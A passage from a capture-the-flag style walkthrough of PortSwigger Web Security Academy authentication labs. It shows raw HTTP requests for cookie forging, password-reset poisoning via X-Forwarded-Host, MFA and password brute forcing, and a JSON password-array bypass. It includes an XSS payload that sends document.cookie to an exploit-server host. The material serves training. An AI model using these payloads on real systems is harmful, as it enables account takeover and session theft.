Set-Cookie: session=08cilTUkwHqCVIP2VJ7LUABewWtlcPwq; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Login Request with stay login is like this

Request:

POST /login HTTP/2
Host: 0af000f40304a988c0f63b730062009d.web-security-academy.net
Cookie: session=xpA3zbMbq6jHaCMh85j6QuWuS3ArrsnS
Content-Length: 48
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0af000f40304a988c0f63b730062009d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

username=wiener&password=peter&stay-logged-in=on

Response:

HTTP/2 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=lMgA4OTe3U4YivMcjJ14c6N9HJUlB61i; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

The difference between simple login and stay login is only one cookie stay-logged-in that also has an expiration time so our session should not last too long.

The stay-logged-in cookie is base64 encoded and after decoding, they look like the following.

wiener:51dc30ddc473d43a6011e9ebba6ca770

The first thing is our username and the second thing looks like a hash. Using hash identifier tools it is indeed a hash and md5 hash to be exact.

By checking the wiener password md5 hash from the burp decoder it was found it is indeed its password hash.

So we can send a /my-account request in the repeater that has stayed logged in the cookie

GET /my-account HTTP/2
Host: 0af000f40304a988c0f63b730062009d.web-security-academy.net
Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; session=toS4Z5rsESi7ZKxtQmHoyTssHJlHtzfF
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://0af000f40304a988c0f63b730062009d.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Send this request to the burp intruder and add the position to stay logged in the cookie. Now go to the Payloads section and use Simple List as the payload type and load the password list from the lab.

Click on the Add button from the Payload Processing section and follow the following things

  • First, select the Hash rule with MD5 as a hash

  • Again click on the Add button and now select Add prefix Rule with carlos: as a prefix.

  • Again click on the Add button for the last time and select Encode as a Rule and Base64-encode as an Encoding type.

Now start the attack all the incorrect requests should have a 3xx status code response but the successful request has a 2xx status code. using this you can brute force the carlos user to stay login cookie and access its account and solve the lab.

LAB #10: Offline password cracking

Lab URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking

Given Credential: wiener:peter Victim's Username: carlos

This lab has a login form in the /login endpoint with stay login functionality. The Post request with stay login looks like the following.

Request:

POST /login HTTP/2
Host: 0abe00ea03d0d4fcc0a9138a00f900f1.web-security-academy.net
Cookie: session=LcEKmOIIOyjgtKkrTb4V8hYEbc354rMc
...
[redacted]
...

username=wiener&password=peter&stay-logged-in=on

Response:

HTTP/2 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=Iyhb1puWmA2h6KwmsMUW2R57fcZ2gLkk; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 

From the response, we can see a stay-logged-in session are base64 encoded string after decoding they look like the following.

wiener:51dc30ddc473d43a6011e9ebba6ca770

The first thing is the username that we try to log in and the other thing is its password md5 hash. There is also a comment functionality in site posts that are vulnerable to Cross Site Scripting - XSS attacks.

The lab also has an exploit server in which we see the access log. Go to any post from the site and comment on the following thing.

<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>

Replace the //YOUR-EXPLOIT-SERVER-ID.exploit-server.net/ with your exploit server URL that looks like the following.

https://exploit.0abe00ea03d0d4fcc0a9138a00f900f1.web-security-academy.net

use any username and email address and post the comment. Now go back to your exploit server and click on the access log button to see the access log there you should see a request that has the victim user cookie copy its base64 encoded string and decode it. Copy the hash and crack it using tools like john and hashcat or you can also crack it using online sites i.e crackstation.net. crack the hash and log in using that crack password and delete the account to solve the lab.

LAB #11: Password reset poisoning via middleware

Lab URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware

Given Credentials: wiener:peter Victim Usernmae: carlos

This Lab contains a Login functionality in which we can login using a username and password combination. If any of these is incorrect they throw an error invalid username or password. The lab also has a reset password functionality in which we can reset our password using username or email and they send a password reset link to an email client. The lab also has an exploit server in which we can access email for wiener users and view access logs. The password reset functionality request looks like the following.

Request:

POST /forgot-password HTTP/2
Host: 0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Cookie: session=UTCkA7KeHmmNpe4rATS6F1AXoQffWQ44
Content-Length: 15
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

username=wiener

and the password reset link looks like the following.

https://0af80040036fb9c3c1408200007e00ec.web-security-academy.net/forgot-password?temp-forgot-password-token=n2M9YaPS4wOGXfcXtLjbsIY74k31PJHX

Sometimes a vulnerable server is generating this link by viewing the host from headers like Origin, Refferer, Host. This is not the case here but there are some other headers that are used to specify a host i.e X-Forwarded-Host. By sending a request using X-Forwarded-Host.

POST /forgot-password HTTP/2
Host: 0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Cookie: session=UTCkA7KeHmmNpe4rATS6F1AXoQffWQ44
Content-Length: 15
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Forwarded-Host: exploit-0ac400cc0374b9f3c19a811101ed00f1.exploit-server.net

username=wiener

Our reset password also changed in the email client and now they look like the following.

https://exploit-0ac400cc0374b9f3c19a811101ed00f1.exploit-server.net/forgot-password?temp-forgot-password-token=n2A9YaPSXwOGXfcXtLjbTIY74k31PZHM

So this will change the host address in the link and if we click on it they send the GET request with a password reset token to our exploit server and we can get the token using the access log of the exploit server. So by poisoning the link using this method if the victim clicks on the link and we get his token and reset its password.

POST /forgot-password HTTP/2
Host: 0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Cookie: session=UTCkA7KeHmmNpe4rATS6F1AXoQffWQ44
Content-Length: 15
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Forwarded-Host: exploit-0ac400cc0374b9f3c19a811101ed00f1.exploit-server.net

username=carlos

Now go to the exploit server access log and wait till you see a record like the following.

/forgot-password?temp-forgot-password-token=f5jFP50E7lC7TuHE6tHZ3PkLBJMthplg HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"

now copy the reset token and send the POST request like the following.

POST /forgot-password?temp-forgot-password-token=[PASTE the reset token here] HTTP/2
Host: 0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Cookie: session=UTCkA7KeHmmNpe4rATS6F1AXoQffWQ44
Content-Length: 103
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

temp-forgot-password-token=[Paste the reset token here]&new-password-1=carlos&new-password-2=carlos

Now log in using the password you give above and solve the lab.

LAB #12: Password brute-force via password change

Lab URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change

Given Credential: wiener:peter Victim's Username: carlos

This lab has a login functionality using username and password and if any of these are incorrect they throw an error incorrect username or password. if we made too many incorrect logins they block our IP and we cannot make any new login request for 1 min.

The lab also has password change functionality after successful login in which we can change our current password by giving the previous password, new password, and confirming the password. Their requests are like the following.

POST /my-account/change-password HTTP/2
Host: 0a89004203b5bc15c1d13a1c004f00b7.web-security-academy.net
Cookie: session=4C4NLad6nFa0aRWCRLESQjeZALzuC24r; session=L7c1LaSpvBpPJ30jkJssT0J2XI5QQ5MA
Content-Length: 80
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a89004203b5bc15c1d13a1c004f00b7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

username=wiener&current-password=peter&new-password-1=peter&new-password-2=peter

As you can see we pass our username with current-password, new-password-1, and new-password-2. If we change the username with carlos they redirect us back to /login but if we give username wiener and current-password to our correct password but didn't match the new-password-1 and new-password-2 they throw an error New password doesn't match!. But if we match the new password but the current password is incorrect after some try they will lock our account for some time.

We can brute force another user's password by sending this request to the intruder and changing the username to carlos and placing the payload position into the current password for the new-password-1 and new-password-2 we add two different strings. Use simple List as an attack type Load your password list in the Payloads section and start the attack using this we can successfully brute-force the password because one request result would have the string New password doesn't match! and that is the password for carlos user. The Intruder request looks like the following.

POST /my-account/change-password HTTP/2
Host: 0a89004203b5bc15c1d13a1c004f00b7.web-security-academy.net
Cookie: session=sgvuafVBNQR4kAGGv53iAJJ65xTpQDps; session=dH6juRwz0MxHex78RYe18HDD4scLi7h3
Content-Length: 76
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a89004203b5bc15c1d13a1c004f00b7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

username=carlos&current-password=§Payload-Position§&new-password-1=pet&new-password-2=err

filter your request with request sizes and you will see one request that has a different request size. Note that password and log in using that password and solve the lab.

LAB #13: Broken brute-force protection, multiple credentials per request

Lab URL: https://portswigger.net/web-security/authentication/password-based/lab-broken-brute-force-protection-multiple-credentials-per-request

Victim's Username: carlos

This lab has a login functionality using username and password and if any of these are incorrect they throw an error incorrect username or password. if we made too many incorrect logins they block our ip and we cannot make any new login request for 1 min.

The login request looks like the following.

POST /login HTTP/2
Host: 0a34000c04639f79c10c5d290037000b.web-security-academy.net
Cookie: session=r62J2HxPkMgcf3G6pTiFbg5PfKSaD3bc
Content-Length: 40
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0a34000c04639f79c10c5d290037000b.web-security-academy.net

{"username":"wiener","password":"peter"}

They are sending login data using JSON format. In json we can specify multiple values in a single key.

{
	"username": "wiener",
	"password": [
		"password1",
		"peter"
	]
}

In the above JSON data, you can see we specify two passwords. And in some vulnerable servers, they iterate through that values and if any of these are correct they give us a login.

We can try login into the wiener user with this JSON data and see if it's vulnerable or not.

Request:

POST /login HTTP/2
Host: 0a34000c04639f79c10c5d290037000b.web-security-academy.net
Cookie: session=r62J2HxPkMgcf3G6pTiFbg5PfKSaD3bc
Content-Length: 58
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0a34000c04639f79c10c5d290037000b.web-security-academy.net

{"username": "wiener","password": ["password1","peter"]}

Response:

HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=tUNPZkiL2P1AFHGbCjKOlXEIDwdDeV1T; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

So this is indeed give us a login so we can bypass sending multiple incorrect requests i.e brute-force protection and get access to carlos user account. we just have to send multiple passwords in a single request and if any of these are correct we can get access to its account. So using the LAB wordlist our request for carlos user is like this.

POST /login HTTP/2
Host: 0a34000c04639f79c10c5d290037000b.web-security-academy.net
Cookie: session=r62J2HxPkMgcf3G6pTiFbg5PfKSaD3bc
Content-Length: 989
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0a34000c04639f79c10c5d290037000b.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a34000c04639f79c10c5d290037000b.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9


{"username": "carlos","password":["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]}

And using this we get the following response.

HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=DxHQMEI3apPwQCHcg2EfMN9CqBmGV4xI; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Right-click on the request and click show response in the browser, copy the url and paste it on the browser url bar and solve the lab. Using this method we get access but we don't know the password yet we know passwords are one of them so just remove one password from the request one by one until you get the response of failed login and note the last password you removed and that's the correct password.

LAB #14: 2FA bypass using a brute-force attack

Lab URL: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack

Victim's Credentials: carlos:montoya

This Lab contains a Login functionality in which we can login using a username and password combination. If any of these is incorrect they throw an error invalid username or password. If we successfully login they redirect us to /login2 and there they generate the MFA code and send it to use email or another authenticator application. We have to send that 4-digit MFA code to the server and the server checks it and gives us access if correct or throws an error if it is incorrect. If we give two incorrect codes they logout of us and we have to log in again.

The login request and response are like the following.

Request:

POST /login HTTP/2
Host: 0a8e009503694f01c1f03aef00540000.web-security-academy.net
Cookie: session=LEGPo3ft8vJ3t80D2XHbtrQ507patnsn
Content-Length: 70
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a8e009503694f01c1f03aef00540000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

csrf=sR7w3Cfe1dLosIcROnfi8ROzVzp2Wuej&username=carlos&password=montoya

Response:

HTTP/2 302 Found
Location: /login2
Set-Cookie: session=W2KKm8tqiWENd76CGQyrbd8YBQeQ81ll; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

The MFA code request is like the following.

POST /login2 HTTP/2
Host: 0a8e009503694f01c1f03aef00540000.web-security-academy.net
Cookie: session=W2KKm8tqiWENd76CGQyrbd8YBQeQ81ll
Content-Length: 51
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a8e009503694f01c1f03aef00540000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

csrf=ZBoWQmvpBtvTgc86gexKxv9BkvDpz1YP&mfa-code=1234

They didn't block our ip with so many incorrect requests so we can brute force the MFA code but we are logout after two incorrect requests so we can use the burp suite session handling rules to re-login after every request.

In Burp, go to Project options > Sessions. In the Session Handling Rules panel, click Add. Got to the scope Section and check only the intruder for tool scope and check only Include all URL for URL scope. Go back to the Details tab and under Rule Actions, click Add > Run a macro. Under Select macro click Add to open the Macro Recorder. Select the following 3 requests:

GET /login
POST /login
GET /login2

Then click OK. The Macro Editor dialog opens. Click Test macro and check that the final response contains the page asking you to provide the 4-digit security code. This confirms that the macro is working correctly. Keep clicking OK to close the various dialogs until you get back to the main Burp window. The macro will now automatically log you back in as Carlos before each request is sent by Burp Intruder. Now Send the POST /login2 request to Burp Intruder. In Burp Intruder, add a payload position to the mfa-code parameter. On the Payloads tab, select the Numbers payload type. Enter the range 0 - 9999 and set the step to 1. Set the min/max integer digits to 4 and the max fraction digits to 0. This will create a payload for every possible 4-digit integer. Go to the Resource pool tab and add the attack to a resource pool with the Maximum concurrent requests set to 1.

Now starts the attack one request should give you the status 302 right click on it and click on show response in browser copy the url and paste it on the browser and solve the lab.

Last updated